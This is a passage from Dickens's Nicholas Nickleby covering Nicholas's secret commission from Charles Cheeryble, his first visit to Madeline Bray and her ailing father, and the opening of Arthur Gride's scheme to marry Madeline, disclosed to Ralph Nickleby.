recital with so little astonishment. That is easily explained. +Your uncle has been here this morning.' + +Nicholas coloured, and drew back a step or two. + +'Yes,' said the old gentleman, tapping his desk emphatically, 'here, +in this room. He would listen neither to reason, feeling, nor +justice. But brother Ned was hard upon him; brother Ned, sir, might +have melted a paving-stone.' + +'He came to--' said Nicholas. + +'To complain of you,' returned brother Charles, 'to poison our ears +with calumnies and falsehoods; but he came on a fruitless errand, +and went away with some wholesome truths in his ear besides. +Brother Ned, my dear My Nickleby--brother Ned, sir, is a perfect +lion. So is Tim Linkinwater; Tim is quite a lion. We had Tim in to +face him at first, and Tim was at him, sir, before you could say +"Jack Robinson."' + +'How can I ever thank you for all the deep obligations you impose +upon me every day?' said Nicholas. + +'By keeping silence upon the subject, my dear sir,' returned brother +Charles. 'You shall be righted. At least you shall not be wronged. +Nobody belonging to you shall be wronged. They shall not hurt a +hair of your head, or the boy's head, or your mother's head, or your +sister's head. I have said it, brother Ned has said it, Tim +Linkinwater has said it. We have all said it, and we'll all do it. +I have seen the father--if he is the father--and I suppose he must +be. He is a barbarian and a hypocrite, Mr Nickleby. I told him, +"You are a barbarian, sir." I did. I said, "You're a barbarian, +sir." And I'm glad of it, I am VERY glad I told him he was a +barbarian, very glad indeed!' + +By this time brother Charles was in such a very warm state of +indignation, that Nicholas thought he might venture to put in a +word, but the moment he essayed to do so, Mr Cheeryble laid his hand +softly upon his arm, and pointed to a chair. + +'The subject is at an end for the present,' said the old gentleman, +wiping his face. 'Don't revive it by a single word. I am going to +speak upon another subject, a confidential subject, Mr Nickleby. We +must be cool again, we must be cool.' + +After two or three turns across the room he resumed his seat, and +drawing his chair nearer to that on which Nicholas was seated, said: + +'I am about to employ you, my dear sir, on a confidential and +delicate mission.' + +'You might employ many a more able messenger, sir,' said Nicholas, +'but a more trustworthy or zealous one, I may be bold to say, you +could not find.' + +'Of that I am well assured,' returned brother Charles, 'well +assured. You will give me credit for thinking so, when I tell you +that the object of this mission is a young lady.' + +'A young lady, sir!' cried Nicholas, quite trembling for the moment +with his eagerness to hear more. + +'A very beautiful young lady,' said Mr Cheeryble, gravely. + +'Pray go on, sir,' returned Nicholas. + +'I am thinking how to do so,' said brother Charles; sadly, as it +seemed to his young friend, and with an expression allied to pain. +'You accidentally saw a young lady in this room one morning, my dear +sir, in a fainting fit. Do you remember? Perhaps you have +forgotten.' + +'Oh no,' replied Nicholas, hurriedly. 'I--I--remember it very well +indeed.' + +'SHE is the lady I speak of,' said brother Charles. Like the famous +parrot, Nicholas thought a great deal, but was unable to utter a +word. + +'She is the daughter,' said Mr Cheeryble, 'of a lady who, when she +was a beautiful girl herself, and I was very many years younger, I-- +it seems a strange word for me to utter now--I loved very dearly. +You will smile, perhaps, to hear a grey-headed man talk about such +things. You will not offend me, for when I was as young as you, I +dare say I should have done the same.' + +'I have no such inclination, indeed,' said Nicholas. + +'My dear brother Ned,' continued Mr Cheeryble, 'was to have married +her sister, but she died. She is dead too now, and has been for +many years. She married her choice; and I wish I could add that +her after-life was as happy as God knows I ever prayed it might be!' + +A short silence intervened, which Nicholas made no effort to break. + +'If trial and calamity had fallen as lightly on his head, as in the +deepest truth of my own heart I ever hoped (for her sake) it would, +his life would have been one of peace and happiness,' said the old +gentleman calmly. 'It will be enough to say that this was not the +case; that she was not happy; that they fell into complicated +distresses and difficulties; that she came, twelve months before her +death, to appeal to my old friendship; sadly changed, sadly altered, +broken-spirited from suffering and ill-usage, and almost broken- +hearted. He readily availed himself of the money which, to give her +but one hour's peace of mind, I would have poured out as freely as +water--nay, he often sent her back for more--and yet even while he +squandered it, he made the very success of these, her applications +to me, the groundwork of cruel taunts and jeers, protesting that he +knew she thought with bitter remorse of the choice she had made, +that she had married him from motives of interest and vanity (he was +a gay young man with great friends about him when she chose him for +her husband), and venting in short upon her, by every unjust and +unkind means, the bitterness of that ruin and disappointment which +had been brought about by his profligacy alone. In those times this +young lady was a mere child. I never saw her again until that +morning when you saw her also, but my nephew, Frank--' + +Nicholas started, and indistinctly apologising for the interruption, +begged his patron to proceed. + +'--My nephew, Frank, I say,' resumed Mr Cheeryble, 'encountered her by +accident, and lost sight of her almost in a minute afterwards, +within two days after he returned to England. Her father lay in +some secret place to avoid his creditors, reduced, between sickness +and poverty, to the verge of death, and she, a child,--we might +almost think, if we did not know the wisdom of all Heaven's decrees +--who should have blessed a better man, was steadily braving +privation, degradation, and everything most terrible to such a young +and delicate creature's heart, for the purpose of supporting him. +She was attended, sir,' said brother Charles, 'in these reverses, by +one faithful creature, who had been, in old times, a poor kitchen +wench in the family, who was then their solitary servant, but who +might have been, for the truth and fidelity of her heart--who might +have been--ah! the wife of Tim Linkinwater himself, sir!' + +Pursuing this encomium upon the poor follower with such energy and +relish as no words can describe, brother Charles leant back in his +chair, and delivered the remainder of his relation with greater +composure. + +It was in substance this: That proudly resisting all offers of +permanent aid and support from her late mother's friends, because +they were made conditional upon her quitting the wretched man, her +father, who had no friends left, and shrinking with instinctive +delicacy from appealing in their behalf to that true and noble heart +which he hated, and had, through its greatest and purest goodness, +deeply wronged by misconstruction and ill report, this young girl +had struggled alone and unassisted to maintain him by the labour of +her hands. That through the utmost depths of poverty and affliction +she had toiled, never turning aside for an instant from her task, +never wearied by the petulant gloom of a sick man sustained by no +consoling recollections of the past or hopes of the future; never +repining for the comforts she had rejected, or bewailing the hard +lot she had voluntarily incurred. That every little accomplishment +she had acquired in happier days had been put into requisition for +this purpose, and directed to this one end. That for two long +years, toiling by day and often too by night, working at the needle, +the pencil, and the pen, and submitting, as a daily governess, to +such caprices and indignities as women (with daughters too) too +often love to inflict upon their own sex when they serve in such +capacities, as though in jealousy of the superior intelligence which +they are necessitated to employ,--indignities, in ninety-nine cases +out of every hundred, heaped upon persons immeasurably and +incalculably their betters, but outweighing in comparison any that +the most heartless blackleg would put upon his groom--that for two +long years, by dint of labouring in all these capacities and +wearying in none, she had not succeeded in the sole aim and object +of her life, but that, overwhelmed by accumulated difficulties and +disappointments, she had been compelled to seek out her mother's old +friend, and, with a bursting heart, to confide in him at last. + +'If I had been poor,' said brother Charles, with sparkling eyes; 'if +I had been poor, Mr Nickleby, my dear sir, which thank God I am not, +I would have denied myself (of course anybody would under such +circumstances) the commonest necessaries of life, to help her. As +it is, the task is a difficult one. If her father were dead, +nothing could be easier, for then she should share and cheer the +happiest home that brother Ned and I could have, as if she were our +child or sister. But he is still alive. Nobody can help him; that +has been tried a thousand times; he was not abandoned by all without +good cause, I know.' + +'Cannot she be persuaded to--' Nicholas hesitated when he had got +thus far. + +'To leave him?' said brother Charles. 'Who could entreat a child to +desert her parent? Such entreaties, limited to her seeing him +occasionally, have been urged upon her--not by me--but always with +the same result.' + +'Is he kind to her?' said Nicholas. 'Does he requite her affection?' + +'True kindness, considerate self-denying kindness, is not in his +nature,' returned Mr Cheeryble. 'Such kindness as he knows, he +regards her with, I believe. The mother was a gentle, loving, +confiding creature, and although he wounded her from their marriage +till her death as cruelly and wantonly as ever man did, she never +ceased to love him. She commended him on her death-bed to her +child's care. Her child has never forgotten it, and never will.' + +'Have you no influence over him?' asked Nicholas. + +'I, my dear sir! The last man in the world. Such are his jealousy +and hatred of me, that if he knew his daughter had opened her heart +to me, he would render her life miserable with his reproaches; +although--this is the inconsistency and selfishness of his +character--although if he knew that every penny she had came from +me, he would not relinquish one personal desire that the most +reckless expenditure of her scanty stock could gratify.' + +'An unnatural scoundrel!' said Nicholas, indignantly. + +'We will use no harsh terms,' said brother Charles, in a gentle +voice; 'but accommodate ourselves to the circumstances in which this +young lady is placed. Such assistance as I have prevailed upon her +to accept, I have been obliged, at her own earnest request, to dole +out in the smallest portions, lest he, finding how easily money was +procured, should squander it even more lightly than he is accustomed +to do. She has come to and fro, to and fro, secretly and by night, +to take even this; and I cannot bear that things should go on in +this way, Mr Nickleby, I really cannot bear it.' + +Then it came out by little and little, how that the twins had been +revolving in their good old heads manifold plans and schemes for +helping this young lady in the most delicate and considerate way, +and so that her father should not suspect the source whence the aid +was derived; and how they had at last come to the conclusion, that +the best course would be to make a feint of purchasing her little +drawings and ornamental work at a high price, and keeping up a +constant demand for the same. For the furtherance of which end and +object it was necessary that somebody should represent the dealer in +such commodities, and after great deliberation they had pitched upon +Nicholas to support this character. + +'He knows me,' said brother Charles, 'and he knows my brother Ned. +Neither of us would do. Frank is a very good fellow--a very fine +fellow--but we are afraid that he might be a little flighty and +thoughtless in such a delicate matter, and that he might, perhaps-- +that he might, in short, be too susceptible (for she is a beautiful +creature, sir; just what her poor mother was), and falling in love +with her before he knew well his own mind, carry pain and sorrow +into that innocent breast, which we would be the humble instruments +of gradually making happy. He took an extraordinary interest in her +fortunes when he first happened to encounter her; and we gather from +the inquiries we have made of him, that it was she in whose behalf +he made that turmoil which led to your first acquaintance.' + +Nicholas stammered out that he had before suspected the possibility +of such a thing; and in explanation of its having occurred to him, +described when and where he had seen the young lady himself. + +'Well; then you see,' continued brother Charles, 'that HE wouldn't +do. Tim Linkinwater is out of the question; for Tim, sir, is such a +tremendous fellow, that he could never contain himself, but would go +to loggerheads with the father before he had been in the place five +minutes. You don't know what Tim is, sir, when he is aroused by +anything that appeals to his feelings very strongly; then he is +terrific, sir, is Tim Linkinwater, absolutely terrific. Now, in you +we can repose the strictest confidence; in you we have seen--or at +least I have seen, and that's the same thing, for there's no +difference between me and my brother Ned, except that he is the +finest creature that ever lived, and that there is not, and never +will be, anybody like him in all the world--in you we have seen +domestic virtues and affections, and delicacy of feeling, which +exactly qualify you for such an office. And you are the man, sir.' + +'The young lady, sir,' said Nicholas, who felt so embarrassed that +he had no small difficulty in saying anything at all--'Does--is--is +she a party to this innocent deceit?' + +'Yes, yes,' returned Mr Cheeryble; 'at least she knows you come from +us; she does NOT know, however, but that we shall dispose of these +little productions that you'll purchase from time to time; and, +perhaps, if you did it very well (that is, VERY well indeed), +perhaps she might be brought to believe that we--that we made a +profit of them. Eh? Eh?' + +In this guileless and most kind simplicity, brother Charles was so +happy, and in this possibility of the young lady being led to think +that she was under no obligation to him, he evidently felt so +sanguine and had so much delight, that Nicholas would not breathe a +doubt upon the subject. + +All this time, however, there hovered upon the tip of his tongue a +confession that the very same objections which Mr Cheeryble had +stated to the employment of his nephew in this commission applied +with at least equal force and validity to himself, and a hundred +times had he been upon the point of avowing the real state of his +feelings, and entreating to be released from it. But as often, +treading upon the heels of this impulse, came another which urged +him to refrain, and to keep his secret to his own breast. 'Why +should I,' thought Nicholas, 'why should I throw difficulties in the +way of this benevolent and high-minded design? What if I do love +and reverence this good and lovely creature. Should I not appear a +most arrogant and shallow coxcomb if I gravely represented that +there was any danger of her falling in love with me? Besides, have +I no confidence in myself? Am I not now bound in honour to repress +these thoughts? Has not this excellent man a right to my best and +heartiest services, and should any considerations of self deter me +from rendering them?' + +Asking himself such questions as these, Nicholas mentally answered +with great emphasis 'No!' and persuading himself that he was a most +conscientious and glorious martyr, nobly resolved to do what, if he +had examined his own heart a little more carefully, he would have +found he could not resist. Such is the sleight of hand by which we +juggle with ourselves, and change our very weaknesses into stanch +and most magnanimous virtues! + +Mr Cheeryble, being of course wholly unsuspicious that such +reflections were presenting themselves to his young friend, +proceeded to give him the needful credentials and directions for his +first visit, which was to be made next morning; and all +preliminaries being arranged, and the strictest secrecy enjoined, +Nicholas walked home for the night very thoughtfully indeed. + +The place to which Mr Cheeryble had directed him was a row of mean +and not over-cleanly houses, situated within 'the Rules' of the +King's Bench Prison, and not many hundred paces distant from the +obelisk in St George's Fields. The Rules are a certain liberty +adjoining the prison, and comprising some dozen streets in which +debtors who can raise money to pay large fees, from which their +creditors do NOT derive any benefit, are permitted to reside by the +wise provisions of the same enlightened laws which leave the debtor +who can raise no money to starve in jail, without the food, +clothing, lodging, or warmth, which are provided for felons +convicted of the most atrocious crimes that can disgrace humanity. +There are many pleasant fictions of the law in constant operation, +but there is not one so pleasant or practically humorous as that +which supposes every man to be of equal value in its impartial eye, +and the benefits of all laws to be equally attainable by all men, +without the smallest reference to the furniture of their pockets. + +To the row of houses indicated to him by Mr Charles Cheeryble, +Nicholas directed his steps, without much troubling his head with +such matters as these; and at this row of houses--after traversing a +very dirty and dusty suburb, of which minor theatricals, shell-fish, +ginger-beer, spring vans, greengrocery, and brokers' shops, appeared +to compose the main and most prominent features--he at length +arrived with a palpitating heart. There were small gardens in front +which, being wholly neglected in all other respects, served as +little pens for the dust to collect in, until the wind came round +the corner and blew it down the road. Opening the rickety gate +which, dangling on its broken hinges before one of these, half +admitted and half repulsed the visitor, Nicholas knocked at the +street door with a faltering hand. + +It was in truth a shabby house outside, with very dim parlour +windows and very small show of blinds, and very dirty muslin +curtains dangling across the lower panes on very loose and limp +strings. Neither, when the door was opened, did the inside appear +to belie the outward promise, as there was faded carpeting on the +stairs and faded oil-cloth in the passage; in addition to which +discomforts a gentleman Ruler was smoking hard in the front parlour +(though it was not yet noon), while the lady of the house was busily +engaged in turpentining the disjointed fragments of a tent-bedstead +at the door of the back parlour, as if in preparation for the reception +of some new lodger who had been fortunate enough to engage it. + +Nicholas had ample time to make these observations while the little +boy, who went on errands for the lodgers, clattered down the kitchen +stairs and was heard to scream, as in some remote cellar, for Miss +Bray's servant, who, presently appearing and requesting him to +follow her, caused him to evince greater symptoms of nervousness and +disorder than so natural a consequence of his having inquired for +that young lady would seem calculated to occasion. + +Upstairs he went, however, and into a front room he was shown, and +there, seated at a little table by the window, on which were drawing +materials with which she was occupied, sat the beautiful girl who +had so engrossed his thoughts, and who, surrounded by all the new +and strong interest which Nicholas attached to her story, seemed +now, in his eyes, a thousand times more beautiful than he had ever +yet supposed her. + +But how the graces and elegancies which she had dispersed about the +poorly-furnished room went to the heart of Nicholas! Flowers, +plants, birds, the harp, the old piano whose notes had sounded so +much sweeter in bygone times; how many struggles had it cost her to +keep these two last links of that broken chain which bound her yet +to home! With every slender ornament, the occupation of her leisure +hours, replete with that graceful charm which lingers in every +little tasteful work of woman's hands, how much patient endurance +and how many gentle affections were entwined! He felt as though the +smile of Heaven were on the little chamber; as though the beautiful +devotion of so young and weak a creature had shed a ray of its own +on the inanimate things around, and made them beautiful as itself; +as though the halo with which old painters surround the bright +angels of a sinless world played about a being akin in spirit to +them, and its light were visibly before him. + +And yet Nicholas was in the Rules of the King's Bench Prison! If he +had been in Italy indeed, and the time had been sunset, and the +scene a stately terrace! But, there is one broad sky over all the +world, and whether it be blue or cloudy, the same heaven beyond it; +so, perhaps, he had no need of compunction for thinking as he did. + +It is not to be supposed that he took in everything at one glance, +for he had as yet been unconscious of the presence of a sick man +propped up with pillows in an easy-chair, who, moving restlessly and +impatiently in his seat, attracted his attention. + +He was scarce fifty, perhaps, but so emaciated as to appear much +older. His features presented the remains of a handsome +countenance, but one in which the embers of strong and impetuous +passions were easier to be traced than any expression which would +have rendered a far plainer face much more prepossessing. His looks +were very haggard, and his limbs and body literally worn to the +bone, but there was something of the old fire in the large sunken +eye notwithstanding, and it seemed to kindle afresh as he struck a +thick stick, with which he seemed to have supported himself in his +seat, impatiently on the floor twice or thrice, and called his +daughter by her name. + +'Madeline, who is this? What does anybody want here? Who told a +stranger we could be seen? What is it?' + +'I believe--' the young lady began, as she inclined her head with an +air of some confusion, in reply to the salutation of Nicholas. + +'You always believe,' returned her father, petulantly. 'What is +it?' + +By this time Nicholas had recovered sufficient presence of mind to +speak for himself, so he said (as it had been agreed he should say) +that he had called about a pair of hand-screens, and some painted +velvet for an ottoman, both of which were required to be of the most +elegant design possible, neither time nor expense being of the +smallest consideration. He had also to pay for the two drawings, +with many thanks, and, advancing to the little table, he laid upon +it a bank note, folded in an envelope and sealed. + +'See that the money is right, Madeline,' said the father. 'Open the +paper, my dear.' + +'It's quite right, papa, I'm sure.' + +'Here!' said Mr Bray, putting out his hand, and opening and shutting +his bony fingers with irritable impatience. 'Let me see. What are +you talking about, Madeline? You're sure? How can you be sure of any +such thing? Five pounds--well, is THAT right?' + +'Quite,' said Madeline, bending over him. She was so busily +employed in arranging the pillows that Nicholas could not see her +face, but as she stooped he thought he saw a tear fall. + +'Ring the bell, ring the bell,' said the sick man, with the same +nervous eagerness, and motioning towards it with such a quivering +hand that the bank note rustled in the air. 'Tell her to get it +changed, to get me a newspaper, to buy me some grapes, another +bottle of the wine that I had last week--and--and--I forget half I +want just now, but she can go out again. Let her get those first, +those first. Now, Madeline, my love, quick, quick! Good God, how +slow you are!' + +'He remembers nothing that SHE wants!' thought Nicholas. Perhaps +something of what he thought was expressed in his countenance, for +the sick man, turning towards him with great asperity, demanded to +know if he waited for a receipt. + +'It is no matter at all,' said Nicholas. + +'No matter! what do you mean, sir?' was the tart rejoinder. 'No +matter! Do you think you bring your paltry money here as a favour +or a gift; or as a matter of business, and in return for value +received? D--n you, sir, because you can't appreciate the time and +taste which are bestowed upon the goods you deal in, do you think +you give your money away? Do you know that you are talking to a +gentleman, sir, who at one time could have bought up fifty such men +as you and all you have? What do you mean?' + +'I merely mean that as I shall have many dealings with this lady, if +she will kindly allow me, I will not trouble her with such forms,' +said Nicholas. + +'Then I mean, if you please, that we'll have as many forms as we +can, returned the father. 'My daughter, sir, requires no kindness +from you or anybody else. Have the goodness to confine your +dealings strictly to trade and business, and not to travel beyond +it. Every petty tradesman is to begin to pity her now, is he? Upon +my soul! Very pretty. Madeline, my dear, give him a receipt; and +mind you always do so.' + +While she was feigning to write it, and Nicholas was ruminating upon +the extraordinary but by no means uncommon character thus presented +to his observation, the invalid, who appeared at times to suffer +great bodily pain, sank back in his chair and moaned out a feeble +complaint that the girl had been gone an hour, and that everybody +conspired to goad him. + +'When,' said Nicholas, as he took the piece of paper, 'when shall I +call again?' + +This was addressed to the daughter, but the father answered +immediately. + +'When you're requested to call, sir, and not before. Don't worry +and persecute. Madeline, my dear, when is this person to call +again?' + +'Oh, not for a long time, not for three or four weeks; it is not +necessary, indeed; I can do without,' said the young lady, with +great eagerness. + +'Why, how are we to do without?' urged her father, not speaking +above his breath. 'Three or four weeks, Madeline! Three or four +weeks!' + +'Then sooner, sooner, if you please,' said the young lady, turning +to Nicholas. + +'Three or four weeks!' muttered the father. 'Madeline, what on +earth--do nothing for three or four weeks!' + +'It is a long time, ma'am,' said Nicholas. + +'YOU think so, do you?' retorted the father, angrily. 'If I chose +to beg, sir, and stoop to ask assistance from people I despise, +three or four months would not be a long time; three or four years +would not be a long time. Understand, sir, that is if I chose to be +dependent; but as I don't, you may call in a week.' + +Nicholas bowed low to the young lady and retired, pondering upon Mr +Bray's ideas of independence, and devoutly hoping that there might +be few such independent spirits as he mingling with the baser clay +of humanity. + +He heard a light footstep above him as he descended the stairs, and +looking round saw that the young lady was standing there, and +glancing timidly towards him, seemed to hesitate whether she should +call him back or no. The best way of settling the question was to +turn back at once, which Nicholas did. + +'I don't know whether I do right in asking you, sir,' said Madeline, +hurriedly, 'but pray, pray, do not mention to my poor mother's dear +friends what has passed here today. He has suffered much, and is +worse this morning. I beg you, sir, as a boon, a favour to myself.' + +'You have but to hint a wish,' returned Nicholas fervently, 'and I +would hazard my life to gratify it.' + +'You speak hastily, sir.' + +'Truly and sincerely,' rejoined Nicholas, his lips trembling as he +formed the words, 'if ever man spoke truly yet. I am not skilled in +disguising my feelings, and if I were, I could not hide my heart +from you. Dear madam, as I know your history, and feel as men and +angels must who hear and see such things, I do entreat you to +believe that I would die to serve you.' + +The young lady turned away her head, and was plainly weeping. + +'Forgive me,' said Nicholas, with respectful earnestness, 'if I seem +to say too much, or to presume upon the confidence which has been +intrusted to me. But I could not leave you as if my interest and +sympathy expired with the commission of the day. I am your faithful +servant, humbly devoted to you from this hour, devoted in strict +truth and honour to him who sent me here, and in pure integrity of +heart, and distant respect for you. If I meant more or less than +this, I should be unworthy his regard, and false to the very nature +that prompts the honest words I utter.' + +She waved her hand, entreating him to be gone, but answered not a +word. Nicholas could say no more, and silently withdrew. And thus +ended his first interview with Madeline Bray. + + + +CHAPTER 47 + +Mr Ralph Nickleby has some confidential Intercourse with another old +Friend. They concert between them a Project, which promises well +for both + + +'There go the three-quarters past!' muttered Newman Noggs, listening +to the chimes of some neighbouring church 'and my dinner time's two. +He does it on purpose. He makes a point of it. It's just like +him.' + +It was in his own little den of an office and on the top of his +official stool that Newman thus soliloquised; and the soliloquy +referred, as Newman's grumbling soliloquies usually did, to Ralph +Nickleby. + +'I don't believe he ever had an appetite,' said Newman, 'except for +pounds, shillings, and pence, and with them he's as greedy as a +wolf. I should like to have him compelled to swallow one of every +English coin. The penny would be an awkward morsel--but the crown-- +ha! ha!' + +His good-humour being in some degree restored by the vision of Ralph +Nickleby swallowing, perforce, a five-shilling piece, Newman slowly +brought forth from his desk one of those portable bottles, currently +known as pocket-pistols, and shaking the same close to his ear so as +to produce a rippling sound very cool and pleasant to listen to, +suffered his features to relax, and took a gurgling drink, which +relaxed them still more. Replacing the cork, he smacked his lips +twice or thrice with an air of great relish, and, the taste of the +liquor having by this time evaporated, recurred to his grievance +again. + +'Five minutes to three,' growled Newman; 'it can't want more by this +time; and I had my breakfast at eight o'clock, and SUCH a breakfast! +and my right dinner-time two! And I might have a nice little bit of +hot roast meat spoiling at home all this time--how does HE know I +haven't? "Don't go till I come back," "Don't go till I come back," +day after day. What do you always go out at my dinner-time for +then--eh? Don't you know it's nothing but aggravation--eh?' + +These words, though uttered in a very loud key, were addressed to +nothing but empty air. The recital of his wrongs, however, seemed +to have the effect of making Newman Noggs desperate; for he +flattened his old hat upon his head, and drawing on the everlasting +gloves, declared with great vehemence, that come what might, he +would go to dinner that very minute. + +Carrying this resolution into instant effect, he had advanced as far +as the passage, when the sound of the latch-key in the street door +caused him to make a precipitate retreat into his own office again. + +'Here he is,' growled Newman, 'and somebody with him. Now it'll be +"Stop till this gentleman's gone." But I won't. That's flat.' + +So saying, Newman slipped into a tall empty closet which opened with +two half doors, and shut himself up; intending to slip out directly +Ralph was safe inside his own room. + +'Noggs!' cried Ralph, 'where is that fellow, Noggs?' + +But not a word said Newman. + +'The dog has gone to his dinner, though I told him not,' muttered +Ralph, looking into the office, and pulling out his watch. 'Humph!' +You had better come in here, Gride. My man's out, and the sun is +hot upon my room. This is cool and in the shade, if you don't mind +roughing it.' + +'Not at all, Mr Nickleby, oh not at all! All places are alike to +me, sir. Ah! very nice indeed. Oh! very nice!' + +The parson who made this reply was a little old man, of about +seventy or seventy-five years of age, of a very lean figure, much +bent and slightly twisted. He wore a grey coat with a very narrow +collar, an old-fashioned waistcoat of ribbed black silk, and such +scanty trousers as displayed his shrunken spindle-shanks in their +full ugliness. The only articles of display or ornament in his +dress were a steel watch-chain to which were attached some large +gold seals; and a black ribbon into which, in compliance with an old +fashion scarcely ever observed in these days, his grey hair was +gathered behind. His nose and chin were sharp and prominent, his +jaws had fallen inwards from loss of teeth, his face was shrivelled +and yellow, save where the cheeks were streaked with the colour of a +dry winter apple; and where his beard had been, there lingered yet a +few grey tufts which seemed, like the ragged eyebrows, to denote the +badness of the soil from which they sprung. The whole air and +attitude of the form was one of stealthy cat-like obsequiousness; +the whole expression of the face was concentrated in a wrinkled +leer, compounded of cunning, lecherousness, slyness, and avarice. + +Such was old Arthur Gride, in whose face there was not a wrinkle, in +whose dress there was not one spare fold or plait, but expressed the +most covetous and griping penury, and sufficiently indicated his +belonging to that class of which Ralph Nickleby was a member. Such +was old Arthur Gride, as he sat in a low chair looking up into the +face of Ralph Nickleby, who, lounging upon the tall office stool, +with his arms upon his knees, looked down into his; a match for him +on whatever errand he had come. + +'And how have you been?' said Gride, feigning great interest in +Ralph's state of health. 'I haven't seen you for--oh! not for--' + +'Not for a long time,' said Ralph, with a peculiar smile, importing +that he very well knew it was not on a mere visit of compliment that +his friend had come. 'It was a narrow chance that you saw me now, +for I had only just come up to the door as you turned the corner.' + +'I am very lucky,' observed Gride. + +'So men say,' replied Ralph, drily. + +The older money-lender wagged his chin and smiled, but he originated +no new remark, and they sat for some little time without speaking. +Each was looking out to take the other at a disadvantage. + +'Come, Gride,' said Ralph, at length; 'what's in the wind today?' + +'Aha! you're a bold man, Mr Nickleby,' cried the other, apparently +very much relieved by Ralph's leading the way to business. 'Oh +dear, dear, what a bold man you are!' + +'Why, you have a sleek and slinking way with you that makes me seem +so by contrast,' returned Ralph. 'I don't know but that yours may +answer better, but I want the patience for it.' + +'You were born a genius, Mr Nickleby,' said old Arthur. 'Deep, +deep, deep. Ah!' + +'Deep enough,' retorted Ralph, 'to know that I shall need all the +depth I have, when men like you begin to compliment. You know I +have stood by when you fawned and flattered other people, and I +remember pretty well what THAT always led to.' + +'Ha, ha, ha!' rejoined Arthur, rubbing his hands. 'So you do, so +you do, no doubt. Not a man knows it better. Well, it's a pleasant +thing now to think that you remember old times. Oh dear!' + +'Now then,' said Ralph, composedly; 'what's in the wind, I ask +again? What is it?' + +'See that now!' cried the other. 'He can't even keep from business +while we're chatting over bygones. Oh dear, dear, what a man it +is!' + +'WHICH of the bygones do you want to revive?' said Ralph. 'One of +them, I know, or you wouldn't talk about them.' + +'He suspects even me!' cried old Arthur, holding up his hands. +'Even me! Oh dear, even me. What a man it is! Ha, ha, ha! What a +man it is! Mr Nickleby against all the world. There's nobody like +him. A giant among pigmies, a giant, a giant!' + +Ralph looked at the old dog with a quiet smile as he chuckled on in +this strain, and Newman Noggs in the closet felt his heart sink +within him as the prospect of dinner grew fainter and fainter. + +'I must humour him though,' cried old Arthur; 'he must have his way +--a wilful man, as the Scotch say--well, well, they're a wise people, +the Scotch. He will talk about business, and won't give away his +time for nothing. He's very right. Time is money, time is money.' + +'He was one of us who made that saying, I should think,' said Ralph. +'Time is money, and very good money too, to those who reckon +interest by it. Time IS money! Yes, and time costs money; it's +rather an expensive article to some people we could name, or I +forget my trade.' + +In rejoinder to this sally, old Arthur again raised his hands, again +chuckled, and again ejaculated 'What a man it is!' which done, he +dragged the low chair a little nearer to Ralph's high stool, and +looking upwards into his immovable face, said, + +'What would you say to me, if I was to tell you that I was--that I +was--going to be married?' + +'I should tell you,' replied Ralph, looking coldly down upon him, +'that for some purpose of your own you told a lie, and that it +wasn't the first time and wouldn't be the last; that I wasn't +surprised and wasn't to be taken in.' + +'Then I tell you seriously that I am,' said old Arthur. + +'And I tell you seriously,' rejoined Ralph, 'what I told you this +minute. Stay. Let me look at you. There's a liquorish devilry in +your face. What is this?' + +'I wouldn't deceive YOU, you know,' whined Arthur Gride; 'I couldn't +do it, I should be mad to try. I, I, to deceive Mr Nickleby! The +pigmy to impose upon the giant. I ask again--he, he, he!--what +should you say to me if I was to tell you that I was going to be +married?' + +'To some old hag?' said Ralph. + +'No, No,' cried Arthur, interrupting him, and rubbing his hands in +an ecstasy. 'Wrong, wrong again. Mr Nickleby for once at fault; +out, quite out! To a young and beautiful girl; fresh, lovely, +bewitching, and not nineteen. Dark eyes, long eyelashes, ripe and +ruddy lips that to look at is to long to kiss, beautiful clustering +hair that one's fingers itch to play with, such a waist as might +make a man clasp the air involuntarily, thinking of twining his arm +about it, little feet that tread so lightly they hardly seem to walk +upon the ground--to marry all this, sir, this--hey, hey!' + +'This is something more than common drivelling,' said Ralph, after +listening with a curled lip to the old sinner's raptures. 'The +girl's name?' + +'Oh deep, deep! See now how deep that is!' exclaimed old Arthur. +'He knows I want his help, he knows he can give it me, he knows it +must all turn to his advantage, he sees the thing already. Her +name--is there nobody within hearing?' + +'Why, who the devil should there be?' retorted Ralph, testily. + +'I didn't know but that perhaps somebody might be passing up or down +the stairs,' said Arthur Gride, after looking out at the door and +carefully reclosing it; 'or but that your man might have come back +and might have been listening outside. Clerks and servants have a +trick of listening, and I should have been very uncomfortable if Mr +Noggs--' + +'Curse Mr Noggs,' said Ralph, sharply, 'and go on with what you have +to say.' + +'Curse Mr Noggs, by all means,' rejoined old Arthur; 'I am sure I +have not the least objection to that. Her name is--' + +'Well,' said Ralph, rendered very irritable by old Arthur's pausing +again 'what is it?' + +'Madeline Bray.' + +Whatever reasons there might have been--and Arthur Gride appeared to +have anticipated some--for the mention of this name producing an +effect upon Ralph, or whatever effect it really did produce upon +him, he permitted none to manifest itself, but calmly repeated the +name several times, as if reflecting when and where he had heard it +before. + +'Bray,' said Ralph. 'Bray--there was young Bray of--,no, he never +had a daughter.' + +'You remember Bray?' rejoined Arthur Gride. + +'No,' said Ralph, looking vacantly at him. + +'Not Walter Bray! The dashing man, who used his handsome wife so +ill?' + +'If you seek to recall any particular dashing man to my recollection +by such a trait as that,' said Ralph, shrugging his shoulders, 'I +shall confound him with nine-tenths of the dashing men I have ever +known.' + +'Tut, tut. That Bray who is now in the Rules of the Bench,' said +old Arthur. 'You can't have forgotten Bray. Both of us did +business with him. Why, he owes you money!' + +'Oh HIM!' rejoined Ralph. 'Ay, ay. Now you speak. Oh! It's HIS +daughter, is it?' + +Naturally as this was said, it was not said so naturally but that a +kindred spirit like old Arthur Gride might have discerned a design +upon the part of Ralph to lead him on to much more explicit +statements and explanations than he would have volunteered, or that +Ralph could in all likelihood have obtained by any other means. Old +Arthur, however, was so intent upon his own designs, that he +suffered himself to be overreached, and had no suspicion but that +his good friend was in earnest. + +'I knew you couldn't forget him, when you came to think for a +moment,' he said. + +'You were right,' answered Ralph. 'But old Arthur Gride and +matrimony is a most anomalous conjunction of words; old Arthur Gride +and dark eyes and eyelashes, and lips that to look at is to long to +kiss, and clustering hair that he wants to play with, and waists +that he wants to span, and little feet that don't tread upon +anything--old Arthur Gride and such things as these is more +monstrous still; but old Arthur Gride marrying the daughter of a +ruined "dashing man" in the Rules of the Bench, is the most +monstrous and incredible of all. Plainly, friend Arthur Gride, if +you want any help from me in this business (which of course you do, +or you would not be here), speak out, and to the purpose. And, +above all, don't talk to me of its turning to my advantage, for I +know it must turn to yours also, and to a good round tune too, or +you would have no finger in such a pie as this.' + +There was enough acerbity and sarcasm not only in the matter of 